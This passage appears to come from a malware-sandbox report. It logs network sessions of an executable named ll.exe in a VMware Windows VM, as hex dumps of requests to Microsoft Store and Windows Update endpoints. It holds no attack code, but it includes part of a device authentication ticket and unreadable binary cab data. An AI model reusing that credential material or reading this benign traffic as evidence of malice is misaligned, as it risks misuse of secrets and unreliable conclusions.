2022-04-08 08:03:34 UTC8859INData Raw: 49 64 22 3a 22 32 32 65 30 63 65 37 66 2d 34 32 37 61 2d 34 30 66 61 2d 62 66 61 36 2d 30 64 65 37 62 38 35 35 34 38 34 30 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 44 69 73 6e 65 79 2e 33 37 38 35 33 46 43 32 32 42 32 43 45 5f 36 72 61 72 66 39 73 61 34 76 38 6a 74 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 78 36 34 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 22 2c 22
Data Ascii: Id":"22e0ce7f-427a-40fa-bfa6-0de7b8554840","PackageFamilyName":"Disney.37853FC22B2CE_6rarf9sa4v8jt","SkuId":"0010","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"App"}],"Architectures":["x64"],"Capabilities":["internetClient","
2022-04-08 08:03:34 UTC8863INData Raw: 42 53 63 68 65 6d 61 22 3a 22 41 76 61 69 6c 61 62 69 6c 69 74 79 55 6e 69 66 69 65 64 41 70 70 3b 33 22 2c 22 41 76 61 69 6c 61 62 69 6c 69 74 79 49 64 22 3a 22 42 31 38 4c 48 58 38 34 50 34 52 39 22 2c 22 43 6f 6e 64 69 74 69 6f 6e 73 22 3a 7b 22 43 6c 69 65 6e 74 43 6f 6e 64 69 74 69 6f 6e 73 22 3a 7b 22 41 6c 6c 6f 77 65 64 50 6c 61 74 66 6f 72 6d 73 22 3a 5b 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 44 65 73 6b 74 6f 70 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e
Data Ascii: BSchema":"AvailabilityUnifiedApp;3","AvailabilityId":"B18LHX84P4R9","Conditions":{"ClientConditions":{"AllowedPlatforms":[{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Desktop"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Win
2022-04-08 08:03:34 UTC8867INData Raw: 65 20 70 72 6f 6d 70 74 65 64 20 74 6f 20 75 70 64 61 74 65 20 74 68 65 69 72 20 50 61 72 65 6e 74 61 6c 20 43 6f 6e 74 72 6f 6c 73 2e 20 54 68 69 73 20 69 6e 63 6c 75 64 65 73 20 74 68 65 20 6f 70 74 69 6f 6e 20 74 6f 20 73 65 6c 65 63 74 20 63 6f 6e 74 65 6e 74 20 72 61 74 69 6e 67 73 20 72 65 73 74 72 69 63 74 69 6f 6e 73 20 66 6f 72 20 65 61 63 68 20 70 72 6f 66 69 6c 65 20 61 73 20 77 65 6c 6c 20 61 73 20 74 6f 20 61 64 64 20 61 20 50 49 4e 20 74 6f 20 6c 6f 63 6b 20 70 72 6f 66 69 6c 65 73 2e 20 54 68 6f 73 65 20 74 68 61 74 20 63 68 6f 6f 73 65 20 74 6f 20 6b 65 65 70 20 74 68 65 69 72 20 73 65 74 74 69 6e 67 73 20 74 68 65 20 73 61 6d 65 20 77 69 6c 6c 20 63 6f 6e 74 69 6e 75 65 20 74 6f 20 65 6e 6a 6f 79 20 44 69 73 6e 65 79 2b 20 61 73 20 74 68
Data Ascii: e prompted to update their Parental Controls. This includes the option to select content ratings restrictions for each profile as well as to add a PIN to lock profiles. Those that choose to keep their settings the same will continue to enjoy Disney+ as th
2022-04-08 08:03:34 UTC8871INData Raw: 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 35 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 2c 5c 22 70 6f 6c 69 63 79 5c 22 3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 66 61 6c 73 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f
Data Ascii: :[{\"platform.maxVersionTested\":2814751014977536,\"platform.minVersion\":2814751014977536,\"platform.target\":5}],\"content.type\":7,\"policy\":{\"category.first\":\"app\",\"category.second\":\"Entertainment\",\"optOut.backupRestore\":false,\"optOut.remo
2022-04-08 08:03:34 UTC8875INData Raw: 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 33 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 74 72 75 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 39 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 38 31 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 31 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 39 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d
Data Ascii: tOut.removeableMedia\":false},\"policy2\":{\"ageRating\":3,\"optOut.DVR\":true,\"thirdPartyAppRatings\":[{\"level\":9,\"systemId\":3},{\"level\":81,\"systemId\":5},{\"level\":51,\"systemId\":12},{\"level\":29,\"systemId\":9},{\"level\":78,\"systemId\":16}
2022-04-08 08:03:34 UTC8879INData Raw: 61 30 37 30 36 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 32 32 65 30 63 65 37 66 2d 34 32 37 61 2d 34 30 66 61 2d 62 66 61 36 2d 30 64 65 37 62 38 35 35 34 38 34 30 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 44 69 73 6e 65 79 2e 33 37 38 35 33 46 43 32 32 42 32 43 45 5f 36 72 61 72 66 39 73 61 34 76 38 6a 74 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 61 72 6d 36 34 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22
Data Ascii: a0706","WuCategoryId":"22e0ce7f-427a-40fa-bfa6-0de7b8554840","PackageFamilyName":"Disney.37853FC22B2CE_6rarf9sa4v8jt","SkuId":"0011","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"App"}],"Architectures":["arm64"],"Capabilities"
2022-04-08 08:03:34 UTC8883INData Raw: 69 6c 79 4e 61 6d 65 22 3a 22 44 69 73 6e 65 79 2e 33 37 38 35 33 46 43 32 32 42 32 43 45 5f 36 72 61 72 66 39 73 61 34 76 38 6a 74 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 44 69 73 6e 65 79 2e 33 37 38 35 33 46 43 32 32 42 32 43 45 5f 31 2e 32 36 2e 32 2e 37 30 5f 78 36 34 5f 5f 36 72 61 72 66 39 73 61 34 76 38 6a 74 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 65 66 64 39 61 31 35 38 2d 33 34 32 38 2d 31 35 64 66 2d 33 30 66 37 2d 63 30 66 38 61 39 38 66 65 38 35 65 2d 58 36 34 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 33 30 30 31 32 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78
Data Ascii: ilyName":"Disney.37853FC22B2CE_6rarf9sa4v8jt","MainPackageFamilyNameForDlc":null,"PackageFullName":"Disney.37853FC22B2CE_1.26.2.70_x64__6rarf9sa4v8jt","PackageId":"efd9a158-3428-15df-30f7-c0f8a98fe85e-X64","PackageRank":30012,"PlatformDependencies":[{"Max
2022-04-08 08:03:34 UTC8887INData Raw: 30 0d 0a 0d 0a
Data Ascii: 0


Session IDSource IPSource PortDestination IPDestination PortProcess
62192.168.2.35004120.199.120.85443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:34 UTC8887OUTData Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 63 31 34 36 33 61 37 38 30 62 37 64 32 66 61 0d 0a 0d 0a
Data Ascii: CNT 1 CON 246Context: 7c1463a780b7d2fa
2022-04-08 08:03:34 UTC8887OUTData Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e
Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-04-08 08:03:34 UTC8887OUTData Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 63 31 34 36 33 61 37 38 30 62 37 64 32 66 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 77 65 75 52 78 64 54 45 52 58 49 34 58 73 61 55 64 61 66 67 57 47 68 6d 46 42 32 63 6a 51 30 2b 6c 52 4d 56 52 66 4d 58 33 46 77 79 4e 35 6e 68 5a 42 49 69 50 59 61 52 4e 51 2f 64 77 71 38 33 2f 58 59 37 5a 42 55 72 6d 54 65 77 44 66 6a 2f 57 6d 4f 6e 51 35 6b 4e 32 56 76 44 35 75 46 4d 37 47 6a 4c 78 56 73 37 55 78 36 70 69 69 71 41 6d 6c 4d 6d 4e 7a 57 34 6d 36 7a 78 2f 52 66 32 38 74 48 6b 4a 46 73
Data Ascii: ATH 2 CON\DEVICE 1014Context: 7c1463a780b7d2fa<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQweuRxdTERXI4XsaUdafgWGhmFB2cjQ0+lRMVRfMX3FwyN5nhZBIiPYaRNQ/dwq83/XY7ZBUrmTewDfj/WmOnQ5kN2VvD5uFM7GjLxVs7Ux6piiqAmlMmNzW4m6zx/Rf28tHkJFs
2022-04-08 08:03:34 UTC8888OUTData Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 63 31 34 36 33 61 37 38 30 62 37 64 32 66 61 0d 0a 0d 0a
Data Ascii: BND 3 CON\QOS 29Context: 7c1463a780b7d2fa
2022-04-08 08:03:34 UTC8888INData Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a
Data Ascii: 202 1 CON 58
2022-04-08 08:03:34 UTC8888INData Raw: 4d 53 2d 43 56 3a 20 6b 73 71 4c 51 2b 71 4b 46 30 4f 30 33 4c 78 36 57 42 56 64 42 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e
Data Ascii: MS-CV: ksqLQ+qKF0O03Lx6WBVdBQ.0Payload parsing failed.


Session IDSource IPSource PortDestination IPDestination PortProcess
63192.168.2.35004252.152.110.14443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:35 UTC8888OUTGET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
2022-04-08 08:03:35 UTC8888INHTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "wy8fVV3cy06QlZhZUaOlBEoVMBnt4x8NJH3c50VWOxM=_1440"
MS-CorrelationId: e54c863e-970c-448e-a66a-a78fd66cea92
MS-RequestId: b86f83a6-0ead-4f2e-ae45-b047fa4c7b3b
MS-CV: rF01JHrdLUaPusa6.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 08 Apr 2022 08:03:34 GMT
Connection: close
Content-Length: 30958
2022-04-08 08:03:35 UTC8889INData Raw: 4d 53 43 46 00 00 00 00 be 37 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 20 e0 00 00 14 00 00 00 00 00 10 00 be 37 00 00 30 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 5b 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 27 c3 6c fd 52 37 f3 5b 43 4b ed 7a 05 58 55 dd d6 ee de 9b ee 96 6e 11 e9 b5 e9 52 69 a5 a4 bb 5b a4 bb 6b d3 ad a2 74 77 08 08 08 d2 21 25 dd a0 80 80 48 4a 4a 83 c4 dd e8 17 9e ef d4 7f fe 7b cf 73 fe 7b ef b7 9f 67 ef bd e6 5c 73 ce 35 63 8c f1 8e 77 8c 25 af 22 2e 05 82 7f da c9 40 df 3f 12 3f fe 40 08 60 30 08 0c 42 04 bd f8 08 02 11 7e af c1 fd de 06 10 05 fd f6 31 85 7f af 5b 85 72 83 7e fa f8 83 cc 6c 5d 2d 1d ed 6c 6d cc 6c 9d d9 dd 6d ac 41 f8 7a 2e
Data Ascii: MSCF7D 70Ad[environment.cab'lR7[CKzXUnRi[ktw!%HJJ{s{g\s5cw%".@??@`0B~1[r~l]-lmlmAz.
2022-04-08 08:03:35 UTC8904INData Raw: b3 49 a2 0d ff f6 07 56 2e e0 cd 9b 1f 2c 88 a2 01 ec 5e 7b 96 ac 79 f1 dc 76 c5 85 50 e5 c7 c8 45 07 64 59 b3 b7 80 da 46 59 e2 3c b1 95 cb ed 18 a0 46 1e 05 b6 ad 0f aa c7 d6 26 8a 7a 17 6e 85 5c 5c 6e b7 9b 98 29 fc 15 9c b1 63 23 9c 27 9a ba 82 04 21 f1 ec 76 cf 7a 3c 9a dc 26 02 a4 4b 13 b7 f5 66 dc 71 d6 12 42 66 da ba 5c 82 4f 0a 63 8b 27 ed ac 5b 4a 30 41 b8 22 8b 2f b7 4c 07 eb 6d 35 30 dd 9f 04 c2 94 77 e9 20 77 b3 ca 0d 58 a9 21 17 bb 64 c6 3c 80 fd e9 00 b3 78 2d 96 fe 20 b6 4c c6 4a 0b e6 fc 7a 35 83 21 a9 5b fb 9f ec fd f1 bd a9 3a 79 0e 3d a3 0c 9a 4f 59 1e be de 85 65 6f ea 2b b7 1c 1f d9 51 fd 01 a2 7c 91 b5 30 82 07 05 30 82 04 ed a0 03 02 01 02 02 13 33 00 00 00 08 59 e3 94 e0 54 c7 17 5d 00 00 00 00 00 08 30 0d 06 09 2a 86 48 86 f7 0d
Data Ascii: IV.,^{yvPEdYFY<F&zn\\n)c#'!vz<&KfqBf\Oc'[J0A"/Lm50w wX!d<x- LJz5![:y=OYeo+Q|003YT]0*H


Session IDSource IPSource PortDestination IPDestination PortProcess
64192.168.2.35004340.125.122.176443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:35 UTC8919OUTGET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
2022-04-08 08:03:36 UTC8920INHTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "wy8fVV3cy06QlZhZUaOlBEoVMBnt4x8NJH3c50VWOxM=_1440"
MS-CorrelationId: 0daa6949-6414-45d1-b395-2d8b1f3869d4
MS-RequestId: 4ed057c6-e554-44b3-b940-798b4a761336
MS-CV: 3kYZeqXyfka3rJbV.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 08 Apr 2022 08:03:35 GMT
Connection: close
Content-Length: 30958
2022-04-08 08:03:36 UTC8920INData Raw: 4d 53 43 46 00 00 00 00 be 37 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 20 e0 00 00 14 00 00 00 00 00 10 00 be 37 00 00 30 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 5b 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 27 c3 6c fd 52 37 f3 5b 43 4b ed 7a 05 58 55 dd d6 ee de 9b ee 96 6e 11 e9 b5 e9 52 69 a5 a4 bb 5b a4 bb 6b d3 ad a2 74 77 08 08 08 d2 21 25 dd a0 80 80 48 4a 4a 83 c4 dd e8 17 9e ef d4 7f fe 7b cf 73 fe 7b ef b7 9f 67 ef bd e6 5c 73 ce 35 63 8c f1 8e 77 8c 25 af 22 2e 05 82 7f da c9 40 df 3f 12 3f fe 40 08 60 30 08 0c 42 04 bd f8 08 02 11 7e af c1 fd de 06 10 05 fd f6 31 85 7f af 5b 85 72 83 7e fa f8 83 cc 6c 5d 2d 1d ed 6c 6d cc 6c 9d d9 dd 6d ac 41 f8 7a 2e
Data Ascii: MSCF7D 70Ad[environment.cab'lR7[CKzXUnRi[ktw!%HJJ{s{g\s5cw%".@??@`0B~1[r~l]-lmlmAz.
2022-04-08 08:03:36 UTC8936INData Raw: b3 49 a2 0d ff f6 07 56 2e e0 cd 9b 1f 2c 88 a2 01 ec 5e 7b 96 ac 79 f1 dc 76 c5 85 50 e5 c7 c8 45 07 64 59 b3 b7 80 da 46 59 e2 3c b1 95 cb ed 18 a0 46 1e 05 b6 ad 0f aa c7 d6 26 8a 7a 17 6e 85 5c 5c 6e b7 9b 98 29 fc 15 9c b1 63 23 9c 27 9a ba 82 04 21 f1 ec 76 cf 7a 3c 9a dc 26 02 a4 4b 13 b7 f5 66 dc 71 d6 12 42 66 da ba 5c 82 4f 0a 63 8b 27 ed ac 5b 4a 30 41 b8 22 8b 2f b7 4c 07 eb 6d 35 30 dd 9f 04 c2 94 77 e9 20 77 b3 ca 0d 58 a9 21 17 bb 64 c6 3c 80 fd e9 00 b3 78 2d 96 fe 20 b6 4c c6 4a 0b e6 fc 7a 35 83 21 a9 5b fb 9f ec fd f1 bd a9 3a 79 0e 3d a3 0c 9a 4f 59 1e be de 85 65 6f ea 2b b7 1c 1f d9 51 fd 01 a2 7c 91 b5 30 82 07 05 30 82 04 ed a0 03 02 01 02 02 13 33 00 00 00 08 59 e3 94 e0 54 c7 17 5d 00 00 00 00 00 08 30 0d 06 09 2a 86 48 86 f7 0d
Data Ascii: IV.,^{yvPEdYFY<F&zn\\n)c#'!vz<&KfqBf\Oc'[J0A"/Lm50w wX!d<x- LJz5![:y=OYeo+Q|003YT]0*H


Session IDSource IPSource PortDestination IPDestination PortProcess
65192.168.2.35004420.54.110.249443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:36 UTC8950OUTGET /v7.0/products/lookup?alternateId=PackageFamilyName&value=BytedancePte.Ltd.TikTok_6yccndn6064se&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: ZSKdUuY0ZkeYnvBI.0.2.4
Host: displaycatalog.mp.microsoft.com
2022-04-08 08:03:36 UTC8951INHTTP/1.1 200 OK
Connection: close
Date: Fri, 08 Apr 2022 08:03:35 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: e826c113-1332-4a41-8db4-898e2d2a9711
MS-RequestId: 8f6662b5-eb95-497b-84f4-8090a66953cd
MS-CV: ZSKdUuY0ZkeYnvBI.0.2.4.422987951.0.1.422987951.2321971560.0
X-Content-Type-Options: nosniff
MS-ServerId: 469858-xzfbf
Region: neu
Node: aks-systempool-37630073-vmss00002l
MS-DocumentVersions: 9NH2GPH4JZS4|572
2022-04-08 08:03:36 UTC8951INData Raw: 61 66 30 37 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 4e 48 32 47 50 48 34 4a 5a 53 34 22 5d 2c 22 48 61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 33 2d 30 38 54 32 30 3a 31 31 3a 35 31 2e 33 38 33 38 35 37 30 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 36 35 30 33 39 34 32 36 39 36 31 31 33 32 33 30 36 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65
Data Ascii: af07{"BigIds":["9NH2GPH4JZS4"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-03-08T20:11:51.3838570Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3065039426961132306","EISListingIdentifier":null,"BackgroundColor":"transpare
2022-04-08 08:03:36 UTC8955INData Raw: 37 2e 31 33 36 33 34 30 35 32 35 39 35 36 31 30 35 31 31 2e 38 39 61 39 30 34 30 30 2d 62 34 39 62 2d 34 63 33 35 2d 61 37 37 37 2d 36 30 63 39 32 65 61 31 65 33 39 38 2e 30 35 36 34 65 35 61 65 2d 65 66 36 30 2d 34 39 61 32 2d 61 33 31 36 2d 61 32 66 66 31 36 30 33 32 61 39 63 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 34 39 39 34 35 38 38 38 31 34 34 35 37 37 32 38 34 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 35 38 38 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22
Data Ascii: 7.13634052595610511.89a90400-b49b-4c35-a777-60c92ea1e398.0564e5ae-ef60-49a2-a316-a2ff16032a9c","Width":66},{"FileId":"3049945888144577284","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":3588,"ForegroundColor":""
2022-04-08 08:03:36 UTC8959INData Raw: 38 32 35 38 39 39 37 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 33 35 32 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 56 6b 6b 75 57 65 38 45 4f 64 75 46 42 69 75 67 45 45 64 51 6c 61 75 74 36 77 53 52 64 62 34 71 44 47 70 76 74 51 4e 39 71 76 30
Data Ascii: 8258997","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":13521,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImageSHA256Hash":"VkkuWe8EOduFBiugEEdQlaut6wSRdb4qDGpvtQN9qv0
2022-04-08 08:03:36 UTC8963INData Raw: 61 20 67 6c 6f 62 61 6c 20 63 6f 6d 6d 75 6e 69 74 79 20 6f 66 20 63 72 65 61 74 6f 72 73 5c 72 5c 6e 4d 69 6c 6c 69 6f 6e 73 20 6f 66 20 63 72 65 61 74 6f 72 73 20 61 72 65 20 6f 6e 20 54 69 6b 54 6f 6b 20 73 68 6f 77 63 61 73 69 6e 67 20 74 68 65 69 72 20 69 6e 63 72 65 64 69 62 6c 65 20 73 6b 69 6c 6c 73 20 61 6e 64 20 65 76 65 72 79 64 61 79 20 6c 69 66 65 2e 20 4c 65 74 20 79 6f 75 72 73 65 6c 66 20 62 65 20 69 6e 73 70 69 72 65 64 2e 5c 72 5c 6e 5c 72 5c 6e e2 96 a0 20 41 64 64 20 79 6f 75 72 20 66 61 76 6f 72 69 74 65 20 6d 75 73 69 63 20 6f 72 20 73 6f 75 6e 64 20 74 6f 20 79 6f 75 72 20 76 69 64 65 6f 73 20 66 6f 72 20 66 72 65 65 5c 72 